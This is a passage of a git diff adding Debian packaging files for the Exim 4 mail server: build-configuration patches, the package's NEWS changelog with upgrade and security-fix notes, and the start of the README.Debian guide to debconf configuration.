+ # Compiling in support for embedded Perl: If you want to be able to
+@@ -963,6 +969,7 @@
+
+ # You probably need to add -lpam to EXTRALIBS, and in some releases of
+ # GNU/Linux -ldl is also needed.
++EXTRALIBS=-ldl
+
+
+ #------------------------------------------------------------------------------
+@@ -971,7 +978,7 @@
+ # If you may want to use outbound (client-side) proxying, using Socks5,
+ # uncomment the line below.
+
+-# SUPPORT_SOCKS=yes
++SUPPORT_SOCKS=yes
+
+ # If you may want to use inbound (server-side) proxying, using Proxy Protocol,
+ # uncomment the line below.
+@@ -1069,6 +1076,8 @@
+
+ # CYRUS_SASLAUTHD_SOCKET=/var/state/saslauthd/mux
+
++# default in Debian's sasl2-bin
++CYRUS_SASLAUTHD_SOCKET=/var/run/saslauthd/mux
+
+ #------------------------------------------------------------------------------
+ # TCP wrappers: If you want to use tcpwrappers from within Exim, uncomment
+@@ -1381,6 +1390,7 @@
+ # file can be specified here. Some installations may want something like this:
+
+ # PID_FILE_PATH=/var/lock/exim.pid
++PID_FILE_PATH=/run/exim4/exim.pid
+
+ # If PID_FILE_PATH is not defined, Exim writes a file in its spool directory
+ # using the name "exim-daemon.pid".
+@@ -1414,6 +1424,7 @@
+ # messages become "invisible" to the normal management tools.
+
+ # SUPPORT_MOVE_FROZEN_MESSAGES=yes
++SUPPORT_MOVE_FROZEN_MESSAGES=yes
+
+
+ #------------------------------------------------------------------------------
+@@ -1452,3 +1463,6 @@
+ # ENABLE_DISABLE_FSYNC=yes
+
+ # End of EDITME for Exim 4.
++
++# enable IPv6 support
++HAVE_IPV6=YES
diff --git a/debian/EDITME.eximon.diff b/debian/EDITME.eximon.diff
new file mode 100644
index 0000000..7ea2784
--- /dev/null
+++ b/debian/EDITME.eximon.diff
@@ -0,0 +1,10 @@
+--- exim_monitor/EDITME 2018-03-15 20:22:06.000000000 +0000
++++ EDITME.eximon 2018-03-16 18:27:06.609171034 +0000
+@@ -1,6 +1,7 @@
+ ##################################################
+ # The Exim Monitor #
+ ##################################################
++# -*- makefile -*-
+
+ # This is the template for the Exim monitor's main build-time configuration
+ # file. It contains settings that are independent of any operating system. It
diff --git a/debian/EDITME.openssl.exim4-light.diff b/debian/EDITME.openssl.exim4-light.diff
new file mode 100644
index 0000000..0dc9836
--- /dev/null
+++ b/debian/EDITME.openssl.exim4-light.diff
@@ -0,0 +1,19 @@
+--- EDITME.exim4-light 2017-10-28 08:02:20.930695089 +0200
++++ EDITME.exim4-light 2017-10-28 08:03:25.433584564 +0200
+@@ -760,13 +760,13 @@ SUPPORT_TLS=yes
+
+ # Uncomment one of these settings if you are using OpenSSL; pkg-config vs not
+ # USE_OPENSSL_PC=openssl
+-# TLS_LIBS=-lssl -lcrypto
++TLS_LIBS=-lssl -lcrypto
+
+ # Uncomment the first and either the second or the third of these if you
+ # are using GnuTLS. If you have pkg-config, then the second, else the third.
+-USE_GNUTLS=yes
++# USE_GNUTLS=yes
+ # USE_GNUTLS_PC=gnutls
+-TLS_LIBS=-lgnutls
++# TLS_LIBS=-lgnutls
+
+ # If using GnuTLS older than 2.10 and using pkg-config then note that Exim's
+ # build process will require libgcrypt-config to exist in your $PATH. A
diff --git a/debian/NEWS b/debian/NEWS
new file mode 100644
index 0000000..ef106e2
--- /dev/null
+++ b/debian/NEWS
@@ -0,0 +1,450 @@
+exim4 (4.87-3) unstable; urgency=medium
+
+ Starting with 4.87~RC1-1 exim will not accept or send out messages with
+ physical lines longer than 998 characters by SMTP DATA. Delivery of such
+ RFC-violating message might fail and subsequently cause routing errors and
+ loss of legitimate mail. See <https://bugs.exim.org/show_bug.cgi?id=1684>.
+ This limit can be disabled by setting the macro
+ IGNORE_SMTP_LINE_LENGTH_LIMIT.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 08 May 2016 14:03:10 +0200
+
+exim4 (4.87-2) unstable; urgency=medium
+
+ exim4-daemon heavy does not support the "demime" ACL condition
+ (WITH_OLD_DEMIME) anymore. It was superceded by the acl_smtp_mime ACL and
+ will not be part of the next upstream release.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 30 Apr 2016 13:38:29 +0200
+
+exim4 (4.87~RC6-3) unstable; urgency=medium
+
+ As part of the fix for CVE-2016-1531 updated Exim versions clean
+ the complete execution environment by default, affecting Exim and
+ subprocesses such as routers calling other programs, and thus may break
+ existing installations. New configuration options (keep_environment,
+ add_environment) were introduced to adjust this behavior. Because of the
+ possible breakage Exim will show a runtime warning if keep_environment is
+ not set.
+
+ The Debian exim4 configuration does not rely on specific environment
+ variables and therefore sets 'keep_environment =' (i.e confirm empty
+ environment).
+
+ Users of custom Exim configurations will need to check whether their setup
+ continues to work with the abovementioned upstream change and modify the
+ Exim environment as needed otherwise. If the setup works fine with empty
+ environment it is still necessary to set the main configuration option
+ "keep_environment =" to quiet the runtime warning.
+
+ See <https://exim.org/static/doc/CVE-2016-1531.txt> for details.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 23 Mar 2016 18:44:22 +0100
+
+exim4 (4.80~rc6-1) experimental; urgency=low
+
+ Upstream's handling of GnuTLS DH parameters has changed, hardcoded
+ parameters (from RFCs are used by default. See
+ /usr/share/doc/exim4-base/README.UPDATING* for details. Stop shipping
+ /usr/share/exim4/exim4_refresh_gnutls-params /usr/share/exim4/timeout.pl
+ and /var/spool/exim4/gnutls-params-2236.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 27 May 2012 18:46:48 +0200
+
+exim4 (4.80~rc2-1) experimental; urgency=low
+
+ Ldap lookups returning multi-valued attributes now separate the attributes
+ with only a comma, not a comma-space sequence.
+
+ The GnuTLS support has been mostly rewritten. exim main configuration
+ options gnutls_require_kx, gnutls_require_mac and gnutls_require_protocols,
+ are no longer supported. (They are ignored if present now, but will trigger
+ an error in later releases.) Their functionality is entirely subsumed into
+ tls_require_ciphers. In turn, tls_require_ciphers is no longer an Exim list
+ and is not parsed by Exim, but is instead given to gnutls_priority_init(3).
+
+ See /exim4-base/usr/share/doc/exim4-base/README.UPDATING.gz for details.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 22 Oct 2011 19:16:58 +0200
+
+exim4 (4.77~rc4-1) experimental; urgency=low
+
+ Exim no longer performs string expansion on the second string of
+ the match_* expansion conditions: "match_address", "match_domain",
+ "match_ip" & "match_local_part". Named lists can still be used.
+
+ The previous behavior made it too easy to create (remotely) vulnerable
+ configurations. A more detailed rationale and explanation can be found on
+ https://lists.exim.org/lurker/message/20111003.122326.fbcf32b7.en.html
+
+ -- Andreas Metzler <ametzler@debian.org> Thu, 05 Oct 2011 19:22:52 +0200
+
+exim4 (4.72-3) unstable; urgency=low
+
+ Exim versions up to and including 4.72 are vulnerable to CVE-2010-4345.
+ This is a privilege escalation issue that allows the exim user to gain
+ root privileges by specifying an alternate configuration file using the -C
+ option. The macro override facility (-D) might also be misused for this
+ purpose.
+
+ In reaction to this security vulnerability upstream has made a number of
+ user visible changes. This package includes these changes.
+ ---------------------------------------------------------
+ If exim is invoked with the -C or -D option the daemon will not regain
+ root privileges though re-execution. This is usually necessary for local
+ delivery, though. Therefore it is generally not possible anymore to run an
+ exim daemon with -D or -C options.
+
+ However this version of exim has been built with
+ TRUSTED_CONFIG_LIST=/etc/exim4/trusted_configs. TRUSTED_CONFIG_LIST
+ defines a list of configuration files which are trusted; if a config file
+ is owned by root and matches a pathname in the list, then it may be
+ invoked by the Exim build-time user without Exim relinquishing root
+ privileges.
+
+ As a hotfix to not break existing installations of mailscanner we have
+ also set WHITELIST_D_MACROS=OUTGOING. i.e. it is still possible to start
+ exim with -DOUTGOING while being able to do local deliveries.
+
+ If you previously were using -D switches you will need to change your
+ setup to use a separate configuration file. The ".include" mechanism
+ makes this easy.
+ ---------------------------------------------------------
+ The system filter is run as exim_user instead of root by default. If your
+ setup requies root privileges when running the system filter you will
+ need to set the system_filter_user exim main configuration option.
+ ---------------------------------------------------------
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 18 Dec 2010 18:57:16 +0100
+
+exim4 (4.69-4) unstable; urgency=low
+
+ In reaction to #475194, the size of the Diffie-Hellman parameters
+ used by exim was increased to 2048, which is GnuTLS's default.
+
+ Since periodically regenerating the Diffie-Hellman parameters
+ doesn't increase security that much (they're sent in clear text in the
+ TLS handshake, and some protocols even have hardcoded them in the
+ standard document), and automatically generating 2048 bits
+ Diffie-Hellman parameters can take a long time, this has been disabled
+ in the Exim4 packages starting with 4.69-4. All exim installations
+ will thus run with the Diffie-Hellman parameters shipped in the
+ package by default.
+
+ Really, really paranoid people with sufficiently fast machines will
+ want to set up a cron job calling
+ /usr/share/exim4/exim4_refresh_gnutls-params manually - suggested
+ interval is weekly or monthly.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 27 Apr 2008 09:14:32 +0200
+
+exim4 (4.68-1) unstable; urgency=low
+
+ In order to fix #420217, the handling of incoming messages to
+ system accounts has been changed once again. To allow system
+ account mail addresses to be redirected via traditional
+ /etc/aliases, system accounts are now processed later in the
+ router chain.
+
+ This has made it necessary to change the default behavior of the
+ real- prefix. real-foo is now only accessible for locally
+ generated messages, such as the error message generated by the
+ userforward router. If you need the old behavior back, set the
+ macro COND_LOCAL_SUBMITTER=true. As a side-effect, you can
+ entirely switch off the real- processing by setting
+ COND_LOCAL_SUBMITTER=false.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 04 Oct 2007 22:34:01 +0200
+
+exim4 (4.67-6) unstable; urgency=low
+
+ acl_whitelist_local_deny was renamed to acl_local_deny_exceptions
+ to avoid confusion. This means changes to ACLs, file names in
+ /etc/exim4/conf.d/acl and the exception list file names themselves.
+
+ CONFDIR/local_host_whitelist and CONFDIR/local_sender_whitelist
+ have been renamed to CONFDIR/host_local_deny_exceptions and
+ CONFDIR/sender_local_deny_exceptions. The old files will continue
+ to be honored for a transition period.
+
+ The old file conf.d/acl/20_exim4-config_whitelist_local_deny will
+ get a .dpkg-bak suffix if it had local changes, and it will be
+ removed if there were no local changes. In the case of local changes,
+ you'll need to repeat these changes in the new file
+ conf.d/acl/20_exim4-config_local_deny_exceptions.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 05 Sep 2007 21:22:22 +0200
+
+exim4 (4.67-5) unstable; urgency=low
+
+ The macro generation in update-exim4.conf has been changed once
+ more. update-exim4.conf now looks for the (non-commented!)
+ definition of the exim configuration macro UPEX4CmacrosUPEX4C to
+ an arbitrary, non-empty value, and inserts the generated macro
+ definitions right after this line, without changing it.
+
+ update-exim4.conf looks for commented UPEX4CmacrosUPEX4C (which
+ used to be the place marker in earlier 4.67-x versions) and barfs
+ if it finds them anywhere in /etc/exim4/exim4.conf.template or
+ recursively /etc/exim4/conf.d. This check - as a feature - also
+ includes files that would normally be excluded by
+ update-exim4.conf, such as .dpkg-old and .dpkg-dist files.
+
+ If you insist on having a commented UPEX4CmacrosUPEX4C in your
+ exim configuration and don't want update-exim4.conf to barf, set
+ the exim macro UPEX4CmacrosOK_config_adapted to a non-empty value.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 28 Jun 2007 08:29:36 +0200
+
+exim4 (4.67-4) unstable; urgency=low
+
+ Since a lot of users did not read the docs while upgrading and
+ filed bug reports about exim4-config failing to install due to a
+ "malformed macro definition", update-exim4.conf.conf now checks
+ for DEBCONFsomethingDEBCONF strings anywhere in
+ /etc/exim4/exim4.conf.template or recursively /etc/exim4/conf.d
+ and barfs if such strings are found. This check - as a feature - also
+ includes files that would normally be excluded by
+ update-exim4.conf.
+
+ It _is_ necessary to either accept the offered configuration file
+ change _or_ to manually check a manually changed exim config. Exim
+ will _NOT_ run if a configuration file of an older version is
+ being used with a more recent exim4-config.
+
+ If you insist on having DEBCONFsomethingDEBCONF strings in your
+ exim configuration and don't want update-exim4.conf to barf, set
+ the exim macro DEBCONFstringOK_config_adapted to a non-empty
+ value.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 22 Jun 2007 12:50:38 +0200
+
+exim4 (4.67-2) experimental; urgency=low
+
+ The symlink /etc/exim4/email-addresses caused data loss for people
+ who had a local file named /etc/exim4/email-addresses. The Debian
+ tools do not handle symlinks in /etc which are contained in
+ packages very well, so we decided to simply remove it. Please
+ submit a tested patch if you think that it would be a more elegant
+ way to handle the transition from /etc/exim4/email-addresses to
+ /etc/email-addresses.
+
+ There is now a possibility to modify handling of incoming messages
+ to system accounts, identified by their UID (see
+ conf.d/router/250_exim4-config_lowuid). If you want this, set the
+ macro FIRST_USER_ACCOUNT_UID (which defaults to 0) to the UID of
+ your first "real" user account. Incoming messages for an account
+ with an UID below that value get routed according to the extra
+ alias file /etc/exim4/lowuid-aliases. If an account does not have
+ an alias there, it gets routed to the value of the macro
+ DEFAULT_SYSTEM_ACCOUNT_ALIAS, which defaults to ":fail: no mail to
+ system accounts" and gets the message rejected. You can use this
+ mechanism to route all messages for system accounts to a single
+ address, with exceptions. Locally generated messages are not
+ processed by this facility.
+
+ Generation of the final exim configuration has changed. The
+ configuration no longer has the DEBCONFsomethingDEBCONF
+ placeholders. All data from Debconf are put into exim
+ configuration macros by update-exim4.conf, which are then
+ appropriately picked up by the configuration itself. There should
+ be no visible change to people who have not modified their
+ configuration, but customized configurations need to adapt.
+
+ We now do basic sanitizing of input read from
+ update-exim4.conf.conf. If your update-exim4.conf complains about
+ non-ascii values, you have found a bug. Please report it.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 11 Jun 2007 14:09:24 +0200
+
+exim4 (4.62-7) unstable; urgency=low
+
+ Bug #392993 says that 4.63-5 and -6 have overwritten manual
+ setting of dc_local_delivery with one of the default versions if
+ you have set dc_local_delivery to a value that is not either
+ mail_spool or maildir_home. Please verify that your
+ dc_local_delivery does still point to the transport you have
+ chosen.
+
+ Please note that the debconf configuration only supports plain
+ lists. Advanced features like "dsearch;" entered there may work
+ today, but are not guaranteed to continue working in the future.
+
+ If you want to use such features, please use the macros made
+ available for use in the configuration or edit the configuration
+ itself.
+
+ This allows us to use semicolons as list delimiters consistently
+ while still being backwards compatible to colon-separated lists
+ without driving code complexity up too high.
+
+ Starting with this version, update-exim4.conf will print a warning
+ if a dsearch lookup is found in the list of local domains,
+ dc_local_domains since there is a HOWTO on the Internet that
+ recommends doing this kind of things and this will _not_ work any
+ more.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 15 Oct 2006 10:00:15 +0000
+
+exim4 (4.62-4) unstable; urgency=low
+
+ exim4-config has had its debconf templates re-worked. Basic
+ functionality is unchanged, so you shouldn't expect a real
+ difference. The priority of most questions has been lowered to
+ medium, so that the Installer can install exim4 with no questions
+ being asked. The default is local delivery only. Mail messages for
+ root and postmaster are delivered to an mbox file in
+ /var/mail/mail, make sure to read them.
+
+ You can do the full exim4 configuration by calling
+ dpkg-reconfigure exim4-config as root.
+
+ It is now finally possible to configure exim4 to deliver outgoing
+ mail to a smarthost on a port number different from 25 via debconf.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 9 Oct 2006 14:12:25 +0000
+
+exim4 (4.62-3) unstable; urgency=low
+
+ A template for SPF support is now provided. It is disabled by
+ default, and relies on external calls to spfquery(1) from the
+ libmail-spf-query-perl package. For details, check README.Debian,
+ and conf.d/acl/30_exim4-config_check_rcpt.
+
+ -- Robert Millan <rmh@aybabtu.com> Fri, 28 Jul 2006 22:43:56 +0200
+
+exim4 (4.62-1) unstable; urgency=low
+
+ Please note that the handling of update-exim4.conf.conf has
+ changed with regard to dc_local_interfaces and dc_relay_nets: If
+ the strings given there contain a semicolon, the string "<;" is
+ now prepended to the value written to the configuration file to
+ consider ; a list separator. This significantly helps writing down
+ IPv6 addresses, but means that if you use complex things like
+ lookups in update-exim4.conf.conf, you'll have to change your
+ configuration to use the macros that directly interfere with the
+ configuration.
+
+ 127.0.0.1 and ::1 have been removed from the default hostlist
+ relay_from_hosts - these addresses are now added by
+ update-exim4.conf with the appropriate separator. If you set
+ MAIN_RELAY_NETS manually, you'll need to add these two addresses
+ to your local host list.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 29 Apr 2006 22:36:31 +0000
+
+exim4 (4.60-2) unstable; urgency=low
+
+ The exim4 daemon packages now include a symlink from
+ /usr/sbin/exim4 to /usr/sbin/exim. This can break exim 3 cron and
+ init scripts if the last exim 3 you had installed was any earlier
+ than 3.36-5 and the conffiles from your exim 3 package are still
+ around. Be sure to have any exim 4 earlier than 3.36-5 _purged_
+ (not removed) before installing this package.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 24 Jan 2006 14:58:08 +0100
+
+exim4 (4.50-5) unstable; urgency=low
+
+ mailname, the local name of the system used to qualify senders and
+ recipients is no longer a local domain by default. Having local
+ delivery for that host name used to break satellite and smarthost
+ setups where no local delivery was expected.
+ /etc/exim4/update-exim4.conf.conf is modified automatically on
+ upgrade from the appropriate earlier versions, so if you don't do any
+ funky things with /etc/exim4/update-exim4.conf.conf, you should be fine.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 2 Apr 2005 20:31:27 +0200
+
+exim4 (4.43-3) unstable; urgency=low
+
+ /etc/exim4/email-addresses is ignored now, please use /etc/email-addresses!
+ The last version of exim4 that shipped this file was uploaded on the
+ 19th of May 2003, and I really do not want to start sarge with cruft like
+ that.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 10 Jan 2004 10:05:34 +0100
+
+exim4 (4.34-1) unstable; urgency=low
+
+ Debconf will not ask for relay_domains if configuring smarthost or
+ satellite-type systems. - This functionality was untested and could
+ generate mail-loops.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 12 May 2004 13:42:23 +0200
+
+exim4 (4.31-2) unstable; urgency=low
+
+ The local_scan perl-plugin has been removed because upstream
+ development has stopped. (am)
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 5 Apr 2004 15:55:12 +0200
+
+exim4 (4.30-5) unstable; urgency=low
+
+ (Re)introduce /etc/exim4/exim4.conf.template as alternative to the
+ multiple small files in /etc/exim4/conf.d/ and make it the default choice
+ for fresh installations. This trades in a loss of comfort (you will again
+ need to merge in each small change manually) for increased stability.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 11 Jan 2004 13:03:43 +0100
+
+exim4 (4.30-1) unstable; urgency=low
+
+ * Exim now runs under its own uid (Debian-exim) instead of using mail:mail.
+
+ WARNING: You cannot downgrade this version to an older one without
+ manual chown|chrgrp all files owned by Debian-exim to mail.
+
+ Securitywise this is a tradeoff:
+ - if exim is SUID root and runs without deliver_drop_privilege you win:
+ exim's internal data in /var/spool/exim4 is not open to attacks by
+ bugs in programs SGID mail (mail delivery agents like deliver or
+ procmail, or MUAs like pine) anymore. This is Debian's default setup.
+ - OTOH if you need to be able to make local deliveries to /var/mail and
+ want to run exim with reduced priviledge you have some additional work
+ to do:
+ * Use an SGID MDA for the actual delivery (I suggest maildrop.)
+ * Make changes to run exim4 under group mail:
+ - exim_group=mail.
+ - Hack: make Debian-exim a group with gid=8, i.e. an alias for
+ the mail group, _before_ you make the upgrade. (groupadd -o -g 8
+ Debian-exim)
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 7 Dec 2003 13:59:46 +0100
+
+exim4 (4.24-1) unstable; urgency=low
+
+ * This version of exim cannot run deliveries as root anymore, see change
+ 5a for exim 4.23 in /usr/share/doc/exim4-base/changelog.gz. If you
+ don't redirect mail for root via /etc/aliases to a nonpriviledged
+ account the mail will be delivered to /var/mail/mail with permissions
+ 0600 and owner mail:mail.
+
+ -- Andreas Metzler <ametzler@debian.org> Fri, 3 Oct 2003 18:11:17 +0200
+
+exim4 (4.22-2) unstable; urgency=low
+
+ Include exiscan-acl patch http://duncanthrax.net/exiscan-acl/ in
+ -heavy and -custom for easy integration of content-scanning and
+ invoking spamassassin at SMTP time.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 27 Aug 2003 12:50:59 +0200
+
+exim4 (4.22-1) unstable; urgency=low
+
+ * The way that the $h_ (and $header_) expansions work has been changed
+ by the addition of RFC 2047 decoding. See the main documentation (the
+ NewStuff file until release 4.30, then the manual) for full details.
+
+ Exim shipped with Debian defaults to HEADER_DECODE_TO="UTF-8"
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 18 Aug 2003 16:51:47 +0200
+
+exim4 (4.20-2) unstable; urgency=low
+
+ Rewriting now uses /etc/email-addresses instead of
+ /etc/exim4/email-addresses like exim v3 did. Please move the contents to
+ the new file and delete the old one, when you have time to spare.
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 15 Jul 2003 10:20:15 +0200
diff --git a/debian/README.Debian.xml b/debian/README.Debian.xml
new file mode 100644
index 0000000..df8f4a3
--- /dev/null
+++ b/debian/README.Debian.xml
@@ -0,0 +1,2007 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE article PUBLIC "-//OASIS//DTD DocBook XML V4.4//EN"
+ "http://www.docbook.org/xml/4.4/docbookx.dtd">
+<article> <title>Exim 4 for Debian</title>
+ <section> <title>Introduction</title>
+ <para>
+ If you're reading this, you have found the README.Debian
+ file. This is good, thanks! Please continue reading this file in
+ its entirety. It is full of important information and has been
+ written with the questions in mind that keep popping up on the
+ mailing lists.
+ </para>
+ <section> <title>How to find your way around the Documentation</title>
+ <para>
+ Exim comes with very extensive documentation. Here is how to
+ find it.
+ <orderedlist>
+ <listitem>
+ <simpara>
+ A lot of information about Debian's Exim 4
+ packaging can be found in this document.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ The packages contain a lot of Debian-specific man pages.
+ Use the <command>apropos exim</command> command to get a list.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ Most files that control the default configuration are
+ documented in the exim4-config_files(5) man page, which
+ is symlinked to the file names. man &lt;filename&gt; should
+ lead you to the page.
+ </simpara>
+ </listitem>
+ <listitem>
+ <para>
+ The very extensive Upstream documentation is shipped
+ <orderedlist>
+ <listitem>
+ <simpara>
+ in text form
+ (<filename>/usr/share/doc/exim4-base/spec.txt.gz</filename>)
+ with the binary packages.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ in HTML in the package
+ <filename>exim4-doc-html</filename>
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ as a Texinfo file in the package
+ <filename>exim4-doc-info</filename>
+ </simpara>
+ </listitem>
+ </orderedlist>
+ </para>
+ </listitem>
+ </orderedlist>
+ </para>
+ <para>
+ Please note that documentation found on the web or in other
+ parts of the Debian system (such as the Debian Reference)
+ might be outdated and thus give wrong advice. In doubt, the
+ documentation listed above should take precedence.
+ </para>
+ </section>
+ <section> <title>Getting Support</title>
+ <para>
+ For your questions and comments, there is a <ulink
+ url="http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users">
+ Debian-specific mailing list</ulink>. Please ask Debian-specific
+ questions there, and only write to the upstream exim-users mailing
+ list if
+ you are sure that your question is not Debian-specific.
+ Debian-specific questions are more likely to find answers on
+ our pkg-exim4-users mailing list, while complex custom
+ configuration issues might be more easily solved on the
+ upstream exim-users mailing list because of the broader and
+ more experienced audience there. You can subscribe to
+ pkg-exim4-users <ulink
+ url="http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users">
+ via the subscription web page;</ulink> you need to be
+ subscribed to post.
+ </para>
+ <para>
+ If you think that your question might be more easily answered
+ if one knows a bit about your configuration, you might want to
+ execute <command>reportbug --subject="none" --offline --quiet
+ --severity=wishlist --body="none" --output=exim4.reportbug
+ exim4-config</command> on the system in question, answer yes
+ to both "include [extended] configuration" questions and include
+ the contents of the exim4.reportbug file generated by this
+ command with your question. Please check whether the file
+ contains any confidential information before sending.
+ </para>
+ </section>
+ <section> <title>Packaging</title>
+ <para>
+ Similar to the Apache2 package, Exim 4 is an entirely
+ different package that does not currently offer a smooth
+ upgrade path from Debian's Exim 3 packages.
+ </para>
+ <para>
+ It is the first Exim package in Debian that can be configured
+ using debconf. However, the entire configuration framework is
+ extremely flexible, allowing you to get exactly the amount of
+ control you need for the job at hand.
+ </para>
+ <section> <title>Feature Sets in the daemon packages</title>
+ <para>
+ To use Exim 4, you need at least the following packages:
+ <variablelist>
+ <varlistentry>
+ <term>exim4-base</term>
+ <listitem>
+ <simpara>support files for all Exim MTA (v4) packages</simpara>
+ </listitem>
+ </varlistentry>
+ <varlistentry>
+ <term>exim4-config</term>
+ <listitem>
+ <simpara>configuration for the Exim MTA (v4)</simpara>
+ </listitem>
+ </varlistentry>
+ <varlistentry>
+ <term>exim4-daemon-light</term>
+ <listitem>
+ <simpara>lightweight exim MTA (v4) daemon</simpara>
+ </listitem>
+ </varlistentry>
+ </variablelist>
+ </para>
+ <para>
+ Just apting the metapackage <command>exim4</command> will pull
+ in the other packages per dependency. You'll get an exim daemon
+ with minimal feature set (no external lookups).
+ </para>
+ <para>
+ If you need more advanced features like LDAP, sqlite, PostgreSQL
+ and MySQL data lookups, SASL and SPA SMTP authentication, embedded
+ Perl interpreter, and exiscan-acl for integration of
+ virus-scanners and SpamAssassin, you can replace
+ <command>exim4-daemon-heavy</command> instead of
+ <command>exim4-daemon-light</command>. Additionally, the source
+ package offers infrastructure to build your own custom-tailored
+ exim4-daemon-custom which exactly fits your special local needs.
+ The infrastructure to do so is already in place, see
+ debian/rules for instructions.
+ </para>
+ </section>
+ <section> <title>How to build a custom daemon</title>
+ <para>
+ The process of building a custom daemon is partially
+ documented in the <filename>debian/rules</filename> file
+ in the source package. Patches for more documentation are welcome.
+ </para>
+ </section>
+ </section>
+ </section>
+ <section> <title>Configuration of Exim 4 in the Debian packages</title>
+ <para>
+ Generally, the Debian Exim 4 packages are configured through
+ debconf. You have been asked some questions on package installation,
+ and your initial Exim configuration has been created from your
+ answers. You can repeat the configuration process any time by invoking
+ <command>dpkg-reconfigure exim4-config</command>. If you are an
+ experienced Exim administrator and prefer to have your own,
+ hand-crafted, non-automatic Exim configuration, you will find
+ information about how to do so in
+ <xref linkend="completely-different-configuration"/>.
+ </para>
+ <para>
+ The debconf-driven configuration is mainly geared for a
+ one-domain shell account machine/workstation with local delivery
+ as suggested by the original upstream default configuration.
+ If you configure the packages to handle more than one local
+ domain, all local domains are treated identically. The domain
+ part is not used for routing and filtering decisions.
+ </para>
+ <para>
+ Despite the default configuration being extended somewhat from
+ the original upstream, chances are that you'll need to
+ manually change the Exim configuration with an editor if you intend to
+ do something that is not covered by the debconf-driven configuration.
+ It has never been the packages' intention to offer all possible
+ configuration methods through debconf. The configuration files are
+ there to be changed, feel free to do so if you see fit. The Debian
+ Exim 4 maintainers have tried to make the configuration as flexible as
+ possible so that manual intervention can be minimized.
+ </para>
+ <para>
+ If you need to make manual changes to the Exim configuration,
+ please be familiar with how Exim works. At minimum, have read this
+ README file and the manpages delivered with the Debian Exim 4
+ packages, and <filename>/usr/share/doc/exim4-base/spec.txt.gz</filename>
+ chapters <phrase>"How Exim receives and delivers mail"</phrase> and
+ <phrase>"The Exim run time configuration file"</phrase>.
+ <filename>spec.txt.gz</filename> is an excellent reference.
+ </para>
+ <para>
+ Please note that while most free-form fields in the
+ debconf-driven configuration have the entered string end up
+ verbatim in Exim's configuration file (and thus using more
+ advanced features like host, address and domain lists is possible
+ and will probably work), this is not officially supported.
+ Only plain lists are supported in the debconf dialogs. You may
+ use more advanced features, but they may stop working any time
+ during upgrades.
+ </para>
+ <section> <title>The Configuration System</title>
+ <section id="debconf-questions"> <title>The Debconf questions</title>
+ <para>
+ In this section, we try to document and explain the debconf
+ questions, which are themselves limited to a small screen of
+ information and might leave questions unanswered. Since you
+ can usually read this file only after having answered the
+ questions, the process can always be repeated by invoking
+ <command>dpkg-reconfigure exim4-config.</command>
+ <filename>/etc/exim4/update-exim4.conf.conf</filename>,
+ documented in the <command>update-exim4.conf</command>
+ manual page, is
+ a simple shell-script snippet used to store the answers
+ that you passed to debconf when initially configuring Exim.
+ You may also modify this file with an editor of your choice.
+ The package maintainer scripts can handle this and will
+ preserve your changes.
+ </para>
+ <section> <title>General type of mail configuration</title>
+ <para>
+ This is the main configuration question which will
+ control which of the remaining questions are
+ presented to you. It also controls things like daemon
+ invocation and delivery of outgoing mail.
+ </para>
+ <section> <title> internet site; mail is sent and
+ received directly using SMTP</title>
+ <para>
+ This option is suitable for a standalone system
+ with full internet connectivity.
+ </para>
+ <itemizedlist>
+ <listitem>
+ <para>
+ The Exim SMTP daemon will accept messages
+ to local domains, and deliver them locally.
+ </para>
+ </listitem>
+ <listitem>
+ <para>
+ Outgoing mail will be delivered directly
+ to the mail exchange servers of the
+ recipient domain
+ </para>
+ </listitem>
+ </itemizedlist>
+ </section>
+ <section> <title> mail sent by smarthost; received via
+ SMTP or fetchmail</title>
+ <para>
+ This option is suitable for a standalone client system
+ which has restricted internet connectivity, for
+ example on a residential connection where an SMTP
+ smarthost is used. Some ISPs block outgoing SMTP
+ connections to combat the spam problem, thus
+ requiring the use of their smarthosts. It is
+ generally a good idea to use the ISPs smart host
+ if one is connected with a dynamic IP address
+ since quite a few sites do not accept mail
+ directly delivered from a dial-in pool.
+ </para>
+ <para>
+ fetchmail can be used to retrieve incoming mail
+ from the ISP's POP3 or IMAP mail server and
+ deliver it to Exim via SMTP.
+ </para>
+ <itemizedlist>
+ <listitem>
+ <para>
+ The Exim SMTP daemon will accept messages
+ to local domains, and deliver them locally.
+ </para>
+ </listitem>
+ <listitem>
+ <para>
+ Outgoing mail will always be delivered to
+ the smarthost configured in exim4.
+ </para>
+ </listitem>
+ </itemizedlist>
+ </section>
+ <section> <title>mail sent by smarthost; no local mail</title>
+ <para>
+ This option is suitable for a client system in a
+ computer pool which is not responsible for a local
+ e-mail domain. All locally generated e-mail is
+ sent to the smarthost without any local domains.
